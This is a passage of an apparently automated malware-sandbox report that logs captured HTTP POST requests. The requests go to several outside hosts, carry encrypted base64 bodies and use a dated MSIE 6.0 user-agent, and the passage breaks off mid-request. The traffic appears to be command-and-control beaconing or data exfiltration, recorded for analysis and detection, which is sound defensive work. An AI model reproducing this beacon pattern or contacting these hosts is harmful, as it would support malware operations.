Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.nunomira.comCache-Control: no-cacheData Raw: 4e 38 65 72 52 48 44 75 34 50 62 50 37 33 65 33 67 36 2f 4c 72 53 50 54 2f 55 38 59 64 76 6a 5a 70 4e 52 33 47 67 6f 5a 43 75 4f 59 69 79 71 62 71 72 49 78 31 7a 6f 4a 4f 69 6e 65 48 50 2b 39 4a 53 72 62 52 6b 4e 54 75 2b 4c 65 6f 6d 2b 32 33 71 2f 67 4a 77 4e 79 6a 4c 77 6e 6d 44 66 43 54 33 50 62 65 66 38 33 69 6d 5a 55 6f 69 2f 49 74 77 37 49 69 32 35 6d 53 6d 47 73 4d 30 43 48 31 4f 47 31 46 4e 50 5a 35 48 77 76 49 45 46 2f 74 48 46 54 39 56 45 48 58 4c 4f 6f 62 38 6d 66 34 4c 77 49 48 63 50 48 36 74 35 62 7a 45 79 76 4c 5a 48 36 4b 30 4f 30 59 69 32 36 78 2f 4e 67 56 54 70 34 77 48 63 5a 50 79 32 46 79 41 62 48 50 31 54 33 71 52 79 30 64 4a 36 5a 75 76 2b 6d 69 65 37 48 6d 62 74 56 4d 79 4e 6f 67 56 6c 73 5a 30 45 38 39 4c 44 38 34 46 4b 59 56 63 45 2f 52 30 62 39 37 4c 6d 5a 43 65 76 74 48 51 38 52 51 6a 41 53 34 43 71 75 4b 30 6d 7a 74 39 46 75 71 65 53 68 48 4f 5a 48 7a 45 48 33 56 6e 46 6b 68 56 68 6d 31 77 67 45 55 67 44 74 51 33 74 49 61 77 7a 62 72 6d 31 30 4c 6b 69 6e 76 47 6b 6a 44 73 6d 4b 58 37 4b 2b 61 61 36 4a 6c 57 4f 36 6a 59 72 6c 53 78 77 64 73 36 61 33 58 38 6b 51 37 55 59 55 53 68 4c 37 30 6c 69 36 43 56 55 49 46 2f 53 6a 55 35 5a 4a 4d 57 4d 6d 55 73 63 4a 4d 4a 77 4b 52 76 49 70 43 51 67 54 35 69 55 4e 6b 2f 2b 31 52 50 65 33 66 63 2f 4e 2b 77 67 4f 37 7a 68 63 2f 41 6f 6c 73 73 58 51 64 44 36 33 73 6b 63 53 68 79 43 79 70 73 68 46 56 5a 30 54 47 52 53 5a 54 74 2f 2f 6e 48 43 61 2f 32 69 6a 33 2f 34 53 52 34 63 46 7a 76 59 67 73 62 38 4b 49 5a 43 59 6e 61 6b 5a 75 35 65 7a 4d 4c 70 5a 59 66 31 71 64 4c 6e 73 32 55 73 5a 55 63 2f 77 47 52 4c 45 39 74 56 4e 48 52 58 72 50 46 38 63 43 56 68 4f 4a 76 34 6c 36 66 52 62 6d 41 56 4e 65 39 37 52 63 53 6d 43 66 6a 6e 4d 63 78 78 35 56 74 56 30 67 79 44 46 Data Ascii: N8erRHDu4PbP73e3g6/LrSPT/U8YdvjZpNR3GgoZCuOYiyqbqrIx1zoJOineHP+9JSrbRkNTu+Leom+23q/gJwNyjLwnmDfCT3Pbef83imZUoi/Itw7Ii25mSmGsM0CH1OG1FNPZ5HwvIEF/tHFT9VEHXLOob8mf4LwIHcPH6t5bzEyvLZH6K0O0Yi26x/NgVTp4wHcZPy2FyAbHP1T3qRy0dJ6Zuv+mie7HmbtVMyNogVlsZ0E89LD84FKYVcE/R0b97LmZCevtHQ8RQjAS4CquK0mzt9FuqeShHOZHzEH3VnFkhVhm1wgEUgDtQ3tIawzbrm10LkinvGkjDsmKX7K+aa6JlWO6jYrlSxwds6a3X8kQ7UYUShL70li6CVUIF/SjU5ZJMWMmUscJMJwKRvIpCQgT5iUNk/+1RPe3fc/N+wgO7zhc/AolssXQdD63skcShyCypshFVZ0TGRSZTt//nHCa/2ij3/4SR4cFzvYgsb8KIZCYnakZu5ezMLpZYf1qdLns2UsZUc/wGRLE9tVNHRXrPF8cCVhOJv4l6fRbmAVNe97RcSmCfjnMcxx5VtV0gyDF
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 588User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.petsfan.comCache-Control: no-cacheData Raw: 33 79 4f 6f 6c 4b 61 57 79 76 61 6a 2f 4f 63 73 51 62 33 30 4d 73 6c 47 67 64 2b 47 53 65 2f 4f 4f 74 55 65 54 48 54 59 67 34 6d 4b 46 6d 58 4b 6c 44 7a 47 76 7a 54 49 57 46 2b 61 43 59 74 55 73 32 4b 55 6f 2f 4c 56 6b 64 5a 48 49 35 38 2b 4e 32 73 37 67 44 54 55 48 44 32 41 5a 4d 48 4a 75 2b 78 74 4e 51 54 4f 55 42 4b 4c 61 4a 34 6e 49 64 63 70 36 6f 72 36 6b 6f 59 35 30 57 6d 47 45 76 6b 71 50 75 49 4c 57 55 66 66 67 61 47 72 42 6b 65 6a 64 7a 52 39 69 78 37 66 51 78 57 5a 45 70 63 61 4b 45 6f 33 56 56 46 31 54 39 79 73 38 7a 6b 44 57 77 37 47 6c 6b 63 71 73 72 31 36 6f 67 70 69 30 4f 4a 35 6b 30 65 41 2b 30 48 47 4d 30 59 6d 47 4d 49 49 4b 33 6c 66 71 31 36 76 4e 57 31 69 41 52 5a 45 4a 49 77 41 53 67 32 6d 4d 49 6a 58 53 4d 6a 30 4e 44 2f 4a 41 52 43 52 2f 2f 6e 7a 74 6c 31 67 4c 52 64 33 53 57 42 72 6a 65 66 64 5a 6f 4d 6a 50 61 42 71 33 4e 50 5a 6d 30 7a 4a 2f 47 36 57 52 68 63 44 55 50 6f 75 74 63 72 61 38 6a 36 73 42 30 37 50 36 48 58 58 4a 6f 64 71 33 42 43 65 4e 75 74 66 36 2b 4d 2f 50 50 73 39 66 59 6e 6b 74 4c 6f 57 47 55 46 6d 4c 6c 55 43 64 7a 52 56 6c 67 67 4e 33 67 37 66 74 73 31 51 6a 34 65 53 64 2f 35 4e 42 6f 6d 53 57 6b 57 2f 66 35 73 44 4b 66 64 74 6a 2b 79 67 7a 50 50 76 6f 78 41 47 4f 35 4f 4b 76 75 39 34 50 59 73 6d 39 2b 67 47 53 57 43 6a 44 56 76 55 34 67 75 45 59 39 46 32 66 55 50 70 77 35 4e 49 6f 78 6c 56 52 55 48 64 6b 59 77 57 4e 54 56 59 77 67 70 36 2f 36 4a 56 64 67 4e 47 67 69 35 59 74 79 4b 41 78 44 6b 7a 67 73 76 5a 75 33 61 72 6a 54 4b 47 70 50 55 51 48 53 65 38 6f 4f 33 44 57 36 4e 70 68 62 31 58 68 69 42 63 56 46 72 54 6f 57 51 4a 59 50 72 41 58 35 46 66 43 37 48 34 2f 30 74 70 32 2b 34 6c 4b 52 6a 68 64 47 54 69 55 36 68 4f 34 61 38 53 50 5a 79 39 67 30 48 42 52 70 48 34 74 48 44 6c 50 4c 49 3d Data Ascii: 3yOolKaWyvaj/OcsQb30MslGgd+GSe/OOtUeTHTYg4mKFmXKlDzGvzTIWF+aCYtUs2KUo/LVkdZHI58+N2s7gDTUHD2AZMHJu+xtNQTOUBKLaJ4nIdcp6or6koY50WmGEvkqPuILWUffgaGrBkejdzR9ix7fQxWZEpcaKEo3VVF1T9ys8zkDWw7Glkcqsr16ogpi0OJ5k0eA+0HGM0YmGMIIK3lfq16vNW1iARZEJIwASg2mMIjXSMj0ND/JARCR//nztl1gLRd3SWBrjefdZoMjPaBq3NPZm0zJ/G6WRhcDUPoutcra8j6sB07P6HXXJodq3BCeNutf6+M/PPs9fYnktLoWGUFmLlUCdzRVlggN3g7fts1Qj4eSd/5NBomSWkW/f5sDKfdtj+ygzPPvoxAGO5OKvu94PYsm9+gGSWCjDVvU4guEY9F2fUPpw5NIoxlVRUHdkYwWNTVYwgp6/6JVdgNGgi5YtyKAxDkzgsvZu3arjTKGpPUQHSe8oO3DW6Nphb1XhiBcVFrToWQJYPrAX5FfC7H4/0tp2+4lKRjhdGTiU6hO4a8SPZy9g0HBRpH4tHDlPLI=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.elpro.siCache-Control: no-cacheData Raw: 6e 4c 56 42 75 6b 6a 50 79 2f 62 66 39 58 48 59 69 79 70 6e 4e 37 76 64 47 55 4c 51 41 77 33 41 2f 42 5a 37 33 62 52 35 4c 57 78 35 61 32 67 4a 41 53 6c 50 31 46 37 51 6d 61 34 6b 6f 61 59 46 52 75 78 6c 47 31 31 55 78 4c 7a 61 36 64 6b 63 49 35 4a 4e 61 44 4c 67 32 56 38 30 2b 35 4b 68 57 68 47 70 46 57 59 39 64 2f 66 6a 57 55 65 33 65 55 47 6f 75 6c 79 30 55 44 53 43 68 67 6f 30 74 57 5a 49 43 55 50 59 48 46 77 6a 30 47 6e 4d 56 34 46 6c 55 46 33 50 62 33 56 77 61 61 4d 68 43 5a 38 71 5a 4c 31 39 7a 33 73 4b 2b 47 49 36 62 50 4e 4a 52 59 38 2b 6f 76 57 7a 44 6e 47 31 57 46 70 62 35 6e 6b 52 45 4f 4b 73 73 47 62 79 49 58 35 67 65 41 41 4c 75 31 30 4b 50 4d 7a 77 36 74 6e 69 33 2f 44 72 77 71 7a 73 66 66 6b 69 66 30 70 38 7a 76 38 42 62 55 2b 61 78 6b 74 30 42 42 32 46 37 32 4a 69 73 2b 53 65 39 61 4b 7a 76 54 5a 49 70 6c 2b 78 50 6a 63 37 57 44 73 41 71 38 38 31 2f 63 43 49 43 4a 54 35 4e 68 6c 38 57 34 55 64 66 31 6d 78 4b 55 59 4f 59 61 6b 69 55 74 55 67 55 48 46 77 4a 52 31 67 47 55 6f 73 51 36 4e 6e 49 61 7a 73 32 77 38 6a 4b 6a 46 70 38 6f 43 59 36 43 76 79 70 67 6e 4a 75 2b 44 4f 79 77 46 67 32 78 42 70 58 42 4f 4d 64 4d 79 6d 50 50 50 61 4a 59 38 34 4c 4f 47 58 70 67 66 2b 43 66 63 62 38 6b 77 52 4c 78 37 45 33 50 6a 76 50 6c 6a 32 67 68 63 59 31 58 43 52 61 4a 38 74 69 38 68 65 43 7a 35 77 47 55 70 38 69 5a 79 38 36 61 6a 6c 62 50 79 45 4a 59 49 64 4b 70 6c 50 45 2f 55 67 37 63 45 51 66 39 49 64 32 6d 42 42 6a 72 36 73 30 57 30 45 65 35 35 54 67 48 5a 70 61 68 4b 43 5a 66 6f 6b 47 4c 62 54 77 58 49 30 64 78 2b 55 47 56 33 38 33 4c 56 63 47 76 35 70 71 69 66 78 58 79 67 63 35 41 59 78 31 2f 5a 4a 61 66 6a 44 79 47 70 65 35 6d 6e 66 49 64 50 73 76 47 4a 68 2f 4f 4d 71 37 70 4b 6b 59 34 44 54 51 6d 66 30 39 41 3d 3d Data Ascii: nLVBukjPy/bf9XHYiypnN7vdGULQAw3A/BZ73bR5LWx5a2gJASlP1F7Qma4koaYFRuxlG11UxLza6dkcI5JNaDLg2V80+5KhWhGpFWY9d/fjWUe3eUGouly0UDSChgo0tWZICUPYHFwj0GnMV4FlUF3Pb3VwaaMhCZ8qZL19z3sK+GI6bPNJRY8+ovWzDnG1WFpb5nkREOKssGbyIX5geAALu10KPMzw6tni3/Drwqzsffkif0p8zv8BbU+axkt0BB2F72Jis+Se9aKzvTZIpl+xPjc7WDsAq881/cCICJT5Nhl8W4Udf1mxKUYOYakiUtUgUHFwJR1gGUosQ6NnIazs2w8jKjFp8oCY6CvypgnJu+DOywFg2xBpXBOMdMymPPPaJY84LOGXpgf+Cfcb8kwRLx7E3PjvPlj2ghcY1XCRaJ8ti8heCz5wGUp8iZy86ajlbPyEJYIdKplPE/Ug7cEQf9Id2mBBjr6s0W0Ee55TgHZpahKCZfokGLbTwXI0dx+UGV383LVcGv5pqifxXygc5AYx1/ZJafjDyGpe5mnfIdPsvGJh/OMq7pKkY4DTQmf09A==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 540User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.otena.comCache-Control: no-cacheData Raw: 4d 50 6b 33 72 31 38 32 4c 2f 66 4a 62 52 39 78 76 70 44 46 36 4f 67 7a 7a 64 6f 31 4f 6e 37 36 41 33 79 74 55 4b 32 52 6c 76 6f 46 57 30 2f 39 59 6a 32 73 2f 34 50 57 56 59 55 6d 6a 6a 45 56 58 4e 69 33 77 54 4c 52 41 4b 68 65 4f 41 4e 4d 47 73 74 50 45 57 39 6d 68 6b 6f 6d 66 48 61 6a 4f 58 5a 64 32 5a 4e 75 31 4d 37 4c 55 6e 44 57 71 64 54 62 42 32 2b 32 49 69 33 77 78 70 38 34 4c 64 54 42 44 2f 32 30 50 72 2b 4a 36 4b 74 74 62 6b 72 43 4d 39 31 61 53 2f 6f 65 4b 49 61 39 44 65 50 4a 4b 53 45 31 49 43 50 32 72 6a 66 64 50 49 76 5a 46 39 4d 57 42 38 72 44 30 6b 4a 45 33 49 78 43 77 55 45 45 55 57 4a 34 56 59 38 30 35 70 68 71 79 6a 34 76 55 4f 4f 6f 4b 61 74 6b 30 58 47 43 4c 6c 47 4f 56 34 44 4e 56 6e 49 52 43 49 2b 4f 59 77 50 35 71 67 34 4a 4e 45 48 44 33 44 75 6c 48 71 6e 6c 45 70 49 2f 50 68 39 33 69 50 67 51 7a 52 76 58 4f 66 6e 39 54 4d 45 50 4d 53 34 4c 48 49 2f 6b 43 64 30 4a 30 31 76 71 34 73 43 6c 43 45 6b 34 4c 73 77 46 57 7a 65 58 47 61 45 47 4f 49 5a 32 67 4e 68 79 67 54 6d 39 37 67 30 70 54 2f 37 62 6b 68 76 4e 42 35 2b 50 79 62 68 46 50 6b 59 62 44 53 36 31 33 32 61 55 51 59 6e 75 7a 50 61 55 69 77 63 35 36 4a 74 76 6e 6e 6c 44 56 50 46 37 64 39 38 35 61 64 71 75 47 45 74 31 52 30 42 2b 30 6f 77 31 75 55 6f 6e 43 35 68 72 57 54 33 38 54 33 71 6b 43 76 6c 62 56 59 36 55 41 6c 74 4e 4a 4f 7a 5a 79 47 6d 36 75 6c 43 67 4a 6e 73 33 4f 57 64 6c 41 52 67 50 6a 47 77 63 55 69 2f 48 6e 35 2f 31 78 41 7a 6f 50 72 6a 36 4b 71 2b 42 51 69 54 56 6d 33 4b 43 31 55 69 71 78 73 62 61 4a 44 44 63 34 46 74 43 6b 43 49 4c 70 31 38 65 4c 4b 65 51 4d 6c 2b 57 76 59 72 44 64 44 61 34 43 53 59 3d Data Ascii: MPk3r182L/fJbR9xvpDF6Ogzzdo1On76A3ytUK2RlvoFW0/9Yj2s/4PWVYUmjjEVXNi3wTLRAKheOANMGstPEW9mhkomfHajOXZd2ZNu1M7LUnDWqdTbB2+2Ii3wxp84LdTBD/20Pr+J6KttbkrCM91aS/oeKIa9DePJKSE1ICP2rjfdPIvZF9MWB8rD0kJE3IxCwUEEUWJ4VY805phqyj4vUOOoKatk0XGCLlGOV4DNVnIRCI+OYwP5qg4JNEHD3DulHqnlEpI/Ph93iPgQzRvXOfn9TMEPMS4LHI/kCd0J01vq4sClCEk4LswFWzeXGaEGOIZ2gNhygTm97g0pT/7bkhvNB5+PybhFPkYbDS6132aUQYnuzPaUiwc56JtvnnlDVPF7d985adquGEt1R0B+0ow1uUonC5hrWT38T3qkCvlbVY6UAltNJOzZyGm6ulCgJns3OWdlARgPjGwcUi/Hn5/1xAzoPrj6Kq+BQiTVm3KC1UiqxsbaJDDc4FtCkCILp18eLKeQMl+WvYrDdDa4CSY=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.abart.plCache-Control: no-cacheData Raw: 43 44 73 34 55 62 71 58 41 76 65 57 4b 6a 74 36 58 63 4d 75 6f 66 30 6f 50 53 30 71 34 6b 59 61 6a 72 31 45 4b 39 36 77 43 6f 2b 58 51 42 71 6a 49 32 31 79 4a 62 42 79 78 63 31 36 4a 4d 33 6c 45 79 57 47 58 4e 49 59 58 58 7a 30 4d 68 38 4a 72 6d 73 5a 31 4d 57 44 49 46 79 77 54 6d 78 67 71 54 45 6f 71 6d 38 74 32 50 4a 58 59 37 67 4f 52 57 57 46 74 50 62 74 71 54 6b 4b 37 33 66 4c 56 76 2b 54 45 6f 6e 50 2f 4c 37 63 53 30 38 73 55 36 6b 37 61 4f 66 67 43 38 44 50 68 66 4b 38 4a 6b 78 5a 42 42 65 39 77 46 30 48 37 4c 31 76 32 6b 42 48 58 51 7a 69 69 70 66 6e 74 37 56 69 6e 54 62 52 42 2f 56 56 4e 51 61 68 37 43 56 56 41 6e 4b 49 68 6c 38 6c 6a 39 70 4a 4b 5a 77 45 66 6d 64 49 63 43 33 78 70 50 36 76 56 4d 76 35 53 78 4d 65 4a 39 57 6c 49 33 4a 64 49 75 48 64 51 36 49 45 33 43 4e 72 58 42 77 6e 78 64 52 65 76 63 64 32 77 58 36 59 35 30 4f 70 79 57 71 36 37 47 36 58 2b 6f 50 6a 31 51 4d 44 4b 38 59 37 51 50 6d 5a 61 6c 39 6f 46 64 43 72 76 5a 68 36 53 55 6a 4b 39 2f 72 50 4b 70 70 5a 35 61 78 6f 53 31 46 44 68 32 79 37 6c 45 47 78 2f 57 49 36 4d 62 41 43 76 58 62 46 34 61 2f 4e 78 62 5a 4a 58 62 65 68 31 4c 33 62 4a 67 31 53 73 69 76 66 37 45 4e 43 45 53 6f 5a 43 68 39 64 77 63 72 67 35 66 4a 63 54 43 46 2f 46 4f 74 4a 72 6f 58 71 43 43 55 66 31 59 42 6c 52 5a 36 37 35 55 56 4b 7a 75 79 38 53 72 4d 51 39 52 68 68 6a 48 45 4d 4f 46 73 51 35 6a 6e 7a 4c 6c 33 78 53 78 39 66 35 6f 63 59 68 68 72 57 46 6d 41 33 41 52 71 4b 74 70 72 4b 6b 53 6c 6b 30 62 35 43 6a 67 66 62 4d 52 67 33 4e 76 45 39 61 4a 6b 47 72 31 66 64 36 4a 74 45 48 77 59 7a 55 41 59 4b 68 35 32 50 6f 74 67 51 6e 44 76 59 53 6c 33 4d 7a 44 76 50 72 34 6c 51 2b 53 76 74 6f 58 43 47 53 4a 45 6a 71 72 69 53 6b 32 4d 3d Data Ascii: CDs4UbqXAveWKjt6XcMuof0oPS0q4kYajr1EK96wCo+XQBqjI21yJbByxc16JM3lEyWGXNIYXXz0Mh8JrmsZ1MWDIFywTmxgqTEoqm8t2PJXY7gORWWFtPbtqTkK73fLVv+TEonP/L7cS08sU6k7aOfgC8DPhfK8JkxZBBe9wF0H7L1v2kBHXQziipfnt7VinTbRB/VVNQah7CVVAnKIhl8lj9pJKZwEfmdIcC3xpP6vVMv5SxMeJ9WlI3JdIuHdQ6IE3CNrXBwnxdRevcd2wX6Y50OpyWq67G6X+oPj1QMDK8Y7QPmZal9oFdCrvZh6SUjK9/rPKppZ5axoS1FDh2y7lEGx/WI6MbACvXbF4a/NxbZJXbeh1L3bJg1Ssivf7ENCESoZCh9dwcrg5fJcTCF/FOtJroXqCCUf1YBlRZ675UVKzuy8SrMQ9RhhjHEMOFsQ5jnzLl3xSx9f5ocYhhrWFmA3ARqKtprKkSlk0b5CjgfbMRg3NvE9aJkGr1fd6JtEHwYzUAYKh52PotgQnDvYSl3MzDvPr4lQ+SvtoXCGSJEjqriSk2M=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.credo.edu.plCache-Control: no-cacheData Raw: 35 76 4c 4b 6f 59 59 31 42 66 65 48 77 6d 4f 50 6f 51 38 63 46 61 6d 6b 54 50 6a 6d 4d 53 4b 70 47 69 71 4f 53 76 68 63 70 75 4b 31 78 61 75 46 34 52 75 63 6f 6d 69 41 62 42 45 38 42 7a 44 64 43 4b 4b 39 6d 63 68 56 65 79 74 52 39 47 49 7a 54 73 79 31 45 56 48 55 41 31 74 32 64 62 30 36 31 61 64 35 43 68 6d 2f 72 66 53 73 37 72 36 4d 4a 68 6f 70 38 44 50 56 72 33 47 53 39 65 34 5a 6b 51 44 67 5a 51 46 6c 2b 51 53 5a 2b 65 68 43 4d 74 55 32 53 44 37 51 58 6b 64 37 6a 36 51 58 58 49 53 73 55 6b 2f 58 75 30 75 30 49 2f 77 6e 42 55 54 34 72 6b 37 46 44 43 33 39 74 2f 50 68 43 53 57 5a 4b 48 2f 6d 4b 7a 48 61 6a 72 6a 51 47 55 32 65 4e 69 38 71 61 47 47 71 56 41 56 34 72 4d 57 36 73 75 35 32 36 54 43 4d 33 77 65 32 2f 6e 49 35 53 4b 6b 73 73 2f 6b 74 4e 67 2b 67 70 2b 54 31 54 61 37 37 73 52 4b 4d 32 6e 79 73 48 66 37 7a 45 39 75 33 46 45 6e 2b 31 71 6c 6d 4b 62 31 63 32 32 4c 76 56 74 30 4a 32 63 7a 4f 4f 38 39 69 71 76 67 79 44 42 65 6d 61 46 6d 4d 42 45 65 57 44 55 39 55 75 34 57 66 5a 48 6e 38 65 73 34 66 36 35 6f 4a 49 6f 78 34 4c 6e 7a 53 53 57 6f 58 72 39 73 38 38 42 55 33 65 78 73 35 53 7a 4f 6f 32 6b 6a 55 30 4f 67 75 74 43 78 6d 4d 6c 71 32 30 45 79 54 37 34 64 33 39 51 65 4a 31 51 74 62 71 57 4e 6f 6e 47 4d 6b 4c 55 5a 6c 6f 62 2b 52 4d 50 52 38 77 32 31 47 6b 6d 64 49 37 36 61 33 35 56 59 4f 72 33 31 42 52 69 31 6a 57 54 7a 51 34 45 4d 42 4e 6e 55 67 58 70 33 5a 51 7a 4f 47 76 4d 5a 49 69 4b 6f 58 6f 6a 4c 75 4c 36 61 41 74 4e 57 31 49 62 34 73 42 39 52 6d 4f 46 32 76 4d 77 69 39 58 70 38 2f 34 72 30 43 6c 36 65 75 5a 5a 38 6e 61 79 79 42 68 52 79 59 44 69 48 77 65 58 4c 48 58 35 47 4a 4e 4a 7a 48 57 50 54 66 4b 67 6d 67 78 49 4e 66 4c 54 6a 47 77 59 73 3d Data Ascii: 5vLKoYY1BfeHwmOPoQ8cFamkTPjmMSKpGiqOSvhcpuK1xauF4RucomiAbBE8BzDdCKK9mchVeytR9GIzTsy1EVHUA1t2db061ad5Chm/rfSs7r6MJhop8DPVr3GS9e4ZkQDgZQFl+QSZ+ehCMtU2SD7QXkd7j6QXXISsUk/Xu0u0I/wnBUT4rk7FDC39t/PhCSWZKH/mKzHajrjQGU2eNi8qaGGqVAV4rMW6su526TCM3we2/nI5SKkss/ktNg+gp+T1Ta77sRKM2nysHf7zE9u3FEn+1qlmKb1c22LvVt0J2czOO89iqvgyDBemaFmMBEeWDU9Uu4WfZHn8es4f65oJIox4LnzSSWoXr9s88BU3exs5SzOo2kjU0OgutCxmMlq20EyT74d39QeJ1QtbqWNonGMkLUZlob+RMPR8w21GkmdI76a35VYOr31BRi1jWTzQ4EMBNnUgXp3ZQzOGvMZIiKoXojLuL6aAtNW1Ib4sB9RmOF2vMwi9Xp8/4r0Cl6euZZ8nayyBhRyYDiHweXLHX5GJNJzHWPTfKgmgxINfLTjGwYs=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.rs-ag.comCache-Control: no-cacheData Raw: 49 31 68 33 6d 6a 30 58 30 2f 5a 52 69 61 4e 5a 39 47 39 65 4a 58 5a 75 58 4b 56 72 74 2f 59 4d 77 53 4e 57 45 79 78 73 50 69 71 32 66 2b 38 68 41 62 72 54 77 46 68 35 75 41 75 76 36 32 6a 53 4e 75 6c 78 64 73 41 6c 49 4f 67 68 7a 39 33 53 52 36 63 5a 59 79 73 7a 49 37 46 79 30 79 64 38 4e 7a 74 43 41 61 44 46 2b 49 54 4f 31 75 49 68 43 64 48 31 66 76 74 6b 53 43 53 6c 4d 42 4e 47 38 73 2f 33 70 58 4c 55 4b 51 66 59 64 56 50 54 76 58 5a 68 35 71 6a 39 32 79 34 48 4f 58 49 39 33 74 71 39 77 41 6b 42 35 75 32 66 57 53 63 64 30 4f 46 33 55 63 7a 4a 42 66 47 6e 55 65 78 2f 43 49 54 2b 51 6e 37 58 6a 44 79 44 46 67 46 4e 39 32 32 6d 42 56 61 75 64 7a 2f 50 64 32 75 45 30 67 39 34 51 53 7a 70 61 50 38 33 57 5a 42 61 6c 33 74 69 70 77 70 73 48 42 37 33 6c 62 50 43 57 56 72 4d 42 75 31 6d 37 6d 7a 33 69 6d 6a 79 41 38 57 6e 66 53 44 36 79 6a 72 4a 53 75 53 58 76 31 2b 68 4a 53 74 62 51 6a 69 52 6f 65 45 53 59 59 43 52 30 4e 52 58 2f 47 30 56 4c 44 56 55 6a 5a 68 73 59 66 4f 75 38 51 77 55 50 45 36 76 63 37 51 7a 36 65 7a 4b 42 4f 6f 72 4e 42 77 2b 55 30 62 50 69 68 76 46 37 35 44 6c 77 6e 49 42 30 4c 79 70 77 38 77 49 4a 30 34 61 69 44 68 67 61 49 36 41 6e 45 45 34 59 79 5a 74 56 5a 58 6d 45 71 39 61 4e 2f 78 70 59 63 6f 34 4f 37 2b 6b 49 68 6f 37 45 74 34 30 30 6b 51 6f 4f 38 77 33 6d 74 4c 75 78 50 68 4e 46 4a 49 68 50 66 55 6a 64 39 5a 66 35 35 6f 4d 70 78 4c 34 4e 44 7a 70 33 36 34 70 57 5a 73 4a 2f 38 37 6d 36 66 43 38 69 75 5a 2b 78 47 42 69 70 70 59 42 42 69 2b 62 77 31 51 4f 55 38 37 34 48 58 39 79 6d 53 4d 71 71 67 51 37 55 72 70 56 4f 36 77 62 4f 2b 4b 32 53 33 54 31 55 7a 51 73 55 51 55 47 68 2f 6f 73 79 63 4a 72 70 57 54 62 61 6f 30 36 31 7a 6b 44 34 6f 55 71 2f 6f 69 30 4a 6d 4c 6d 45 76 67 72 7a 50 68 41 47 73 49 3d Data Ascii: I1h3mj0X0/ZRiaNZ9G9eJXZuXKVrt/YMwSNWEyxsPiq2f+8hAbrTwFh5uAuv62jSNulxdsAlIOghz93SR6cZYyszI7Fy0yd8NztCAaDF+ITO1uIhCdH1fvtkSCSlMBNG8s/3pXLUKQfYdVPTvXZh5qj92y4HOXI93tq9wAkB5u2fWScd0OF3UczJBfGnUex/CIT+Qn7XjDyDFgFN922mBVaudz/Pd2uE0g94QSzpaP83WZBal3tipwpsHB73lbPCWVrMBu1m7mz3imjyA8WnfSD6yjrJSuSXv1+hJStbQjiRoeESYYCR0NRX/G0VLDVUjZhsYfOu8QwUPE6vc7Qz6ezKBOorNBw+U0bPihvF75DlwnIB0Lypw8wIJ04aiDhgaI6AnEE4YyZtVZXmEq9aN/xpYco4O7+kIho7Et400kQoO8w3mtLuxPhNFJIhPfUjd9Zf55oMpxL4NDzp364pWZsJ/87m6fC8iuZ+xGBippYBBi+bw1QOU874HX9ymSMqqgQ7UrpVO6wbO+K2S3T1UzQsUQUGh/osycJrpWTbao061zkD4oUq/oi0JmLmEvgrzPhAGsI=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 536User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.mqs.com.brCache-Control: no-cacheCookie: __goc_session__=lafcfcoaucmfvhcxntzzjciukguenwvs; _mcnc=1Data Raw: 72 4b 79 47 69 6c 30 76 58 76 62 4b 52 30 6c 42 6c 47 6b 72 35 70 62 62 32 6e 73 4c 51 76 33 34 34 62 55 45 32 77 79 59 41 54 7a 6b 38 4b 43 38 44 75 75 47 71 72 4e 62 64 4d 37 48 51 2b 44 45 39 34 70 58 6c 68 2b 41 42 4f 74 72 4a 6c 68 4f 2f 63 67 72 45 41 38 64 45 41 32 63 66 38 38 70 66 49 4d 66 4b 4c 77 30 6b 48 71 7a 52 42 6f 64 63 41 64 35 4a 65 6d 51 38 39 79 48 68 41 62 62 42 54 5a 6e 47 2b 6b 49 76 35 70 58 43 2f 63 31 48 39 75 47 48 44 63 6d 47 32 43 66 4e 45 4a 46 45 4f 61 34 36 70 57 79 52 34 57 39 50 62 55 65 32 73 4c 57 38 49 4e 65 33 31 30 37 55 76 51 53 62 61 54 6d 4c 63 6a 4e 79 66 48 48 52 52 78 44 6a 46 54 52 59 69 49 4e 64 4f 53 2b 6c 66 70 42 6b 4a 5a 41 63 70 73 6a 70 65 57 44 59 39 33 7a 58 37 7a 66 4f 2b 68 38 72 79 76 6a 58 4d 72 45 4f 61 79 71 7a 6c 51 73 70 2b 41 65 69 67 57 2b 41 76 62 6c 69 56 7a 69 37 70 58 7a 53 2f 35 71 66 53 56 79 67 52 45 79 58 70 55 33 4c 62 54 45 66 44 44 56 75 68 5a 34 4e 65 52 35 74 32 45 76 61 36 4a 6c 66 30 39 48 44 72 61 6b 4a 6f 55 2f 62 54 75 45 77 71 31 45 61 52 4a 30 78 30 62 30 50 2b 56 6b 68 79 59 6f 67 73 68 6d 67 42 31 49 59 32 6b 44 61 42 4b 72 77 48 4b 45 4a 4a 77 30 43 63 6e 79 36 35 2b 72 6a 42 39 75 46 45 49 75 54 72 6d 42 74 62 33 68 49 71 5a 33 52 32 71 32 35 59 52 43 61 58 6c 7a 57 34 69 42 53 46 4b 